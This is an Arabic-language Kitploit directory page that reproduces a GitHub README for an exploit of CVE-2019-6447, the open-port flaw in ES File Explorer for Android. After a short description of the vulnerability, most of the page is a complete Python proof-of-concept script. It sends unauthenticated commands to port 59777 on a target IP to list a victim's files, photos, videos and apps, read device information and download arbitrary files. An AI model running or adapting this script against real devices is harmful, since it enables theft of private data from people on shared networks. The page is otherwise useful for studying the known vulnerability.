Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
EsFileExplorer-CVE-2019-6447 — استغلال ثغرة أمنية في تطبيق ES File Explorer على أندرويد | Kitploit
أدوات/GitHubGitHub/chethine/esfileexplorer-cve-2019-6447
أمان أندرويدتحليل الثغرات الأمنيةالاستغلالتسريب البياناتجمع المعلوماتأمن الجوال
GitHubchethine/esfileexplorer-cve-2019-6447

EsFileExplorer-CVE-2019-6447

استغلال ثغرة أمنية في تطبيق ES File Explorer على أندرويد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
3136منذ 4 سنواتلم تتم المراجعة بعد

EsFileExplorer-CVE-2019-6447

استغلال ثغرة أندرويد في ES File Explorer

الثغرة

تم إنشاء متصفح الملفات ES بواسطة ES worldwide، وهي جزء من DO Global ومقرها في الصين. متصفح الملفات هذا متاح للاستخدام فقط على الأجهزة المحمولة التي تعمل بنظام التشغيل أندرويد. في الوقت الحالي، تم تنزيل ES File Explorer أكثر من 100 مليون مرة. هذا التطبيق هو متصفح الملفات الشهير لأندرويد، لذلك يحظى بالكثير من الاهتمام. من ناحية أخرى، في عام 2019، اكتشف باحثون متخصصون في الأمن السيبراني ثغرة في الإصدار 4.1.9.7.4 من ES File Explorer. المهاجمون القادرون على استغلال تلك الثغرة يمكنهم جمع جميع بيانات المستخدم الحساسة المحفوظة في ES File Explorer. يشمل ذلك الصور ومقاطع الفيديو والتسجيلات الصوتية والمستندات وأنواع البيانات الأخرى.

وصف الثغرة

حتى الإصدار 4.1.9.7.4، يتيح تطبيق ES File Explorer File Manager لأندرويد للمهاجمين عن بُعد قراءة ملفات عشوائية أو تشغيل تطبيقات على شبكة Wi-Fi محلية عن طريق إجراء استعلامات إلى منفذ TCP 59777. بعد تشغيل تطبيق ES مرة واحدة فقط، يظل منفذ TCP هذا مفتوحًا وسيرد على بيانات application/json غير الموثقة التي تُرسل عبر HTTP.

الإصدار المتأثر

الإصدار 4.1.9.7.4

في كل مرة يقوم المستخدم بتشغيل التطبيق، يتم بدء تشغيل خادم HTTP. يفتح هذا الخادم المنفذ 59777 محليًا:
root@kitploit:~
angler:/ # netstat -ap | grep com.estrongs
tcp6       0      0 :::59777                :::*                    LISTEN      5696/com.estrongs.android.pop

ميزات إثبات المفهوم (POC)

  • سرد جميع الملفات في بطاقة sdcard الخاصة بالجهاز الضحية
  • سرد جميع الصور في الجهاز الضحية
  • سرد جميع مقاطع الفيديو في الجهاز الضحية
  • سرد جميع الملفات الصوتية في الجهاز الضحية
  • سرد جميع التطبيقات المثبتة في الجهاز الضحية
  • سرد جميع تطبيقات النظام المثبتة في الجهاز الضحية
  • سرد جميع تطبيقات الهاتف المثبتة في الجهاز الضحية
  • سرد جميع ملفات apk المخزنة في بطاقة sdcard الخاصة بالجهاز الضحية
  • سرد جميع التطبيقات المثبتة في الجهاز الضحية
  • الحصول على معلومات الجهاز الخاص بالجهاز الضحية
  • سحب ملف من الجهاز الضحية
  • تشغيل تطبيق من اختيارك
  • الحصول على أيقونة تطبيق من اختيارك

الحمولة

root@kitploit:~
import requests
import json
import ast
import sys

if len(sys.argv) < 3:
    print(f"USAGE {sys.argv[0]} <command> <IP> [file to download]")
    sys.exit(1)

url = 'http://' + sys.argv[2] + ':59777'
cmd = sys.argv[1]
cmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']
listCmds = cmds[:9]
if cmd not in cmds:
    print("[-] WRONG COMMAND!")
    print("Available commands : ")
    print("  listFiles         : List all Files.")
    print("  listPics          : List all Pictures.")
    print("  listVideos        : List all videos.")
    print("  listAudios        : List all audios.")
    print("  listApps          : List Applications installed.")
    print("  listAppsSystem    : List System apps.")
    print("  listAppsPhone     : List Communication related apps.")
    print("  listAppsSdcard    : List apps on the SDCard.")
    print("  listAppsAll       : List all Application.")
    print("  getFile           : Download a file.")
    print("  getDeviceInfo     : Get device info.")
    sys.exit(1)

print("\n==================================================================")
print("|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |")
print("|                Coded By : Nehal a.k.a PwnerSec                 |")
print("==================================================================\n")

header = {"Content-Type" : "application/json"}
proxy = {"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"}

def httpPost(cmd):
    data = json.dumps({"command":cmd})
    response = requests.post(url, headers=header, data=data)
    return ast.literal_eval(response.text)

def parse(text, keys):
    for dic in text:
        for key in keys:
            print(f"{key} : {dic[key]}")
        print('')

def do_listing(cmd):
    response = httpPost(cmd)
    if len(response) == 0:
        keys = []
    else:
        keys = list(response[0].keys())
    parse(response, keys)

if cmd in listCmds:
    do_listing(cmd)

elif cmd == cmds[9]:
    if len(sys.argv) != 4:
        print("[+] Include file name to download.")
        sys.exit(1)
    elif sys.argv[3][0] != '/':
        print("[-] You need to provide full path of the file.")
        sys.exit(1)
    else:
        path = sys.argv[3]
        print("[+] Downloading file...")
        response = requests.get(url + path)
        with open('out.dat','wb') as wf:
            wf.write(response.content)
        print("[+] Done. Saved as `out.dat`.")

elif cmd == cmds[10]:
    response = httpPost(cmd)
    keys = list(response.keys())
    for key in keys:
        print(f"{key} : {response[key]}")

عرض توضيحي

عرض توضيحي

تواصل معي

تابعني على Twitter!
تواصل معي على LinkedIn!
تنزيل الأداة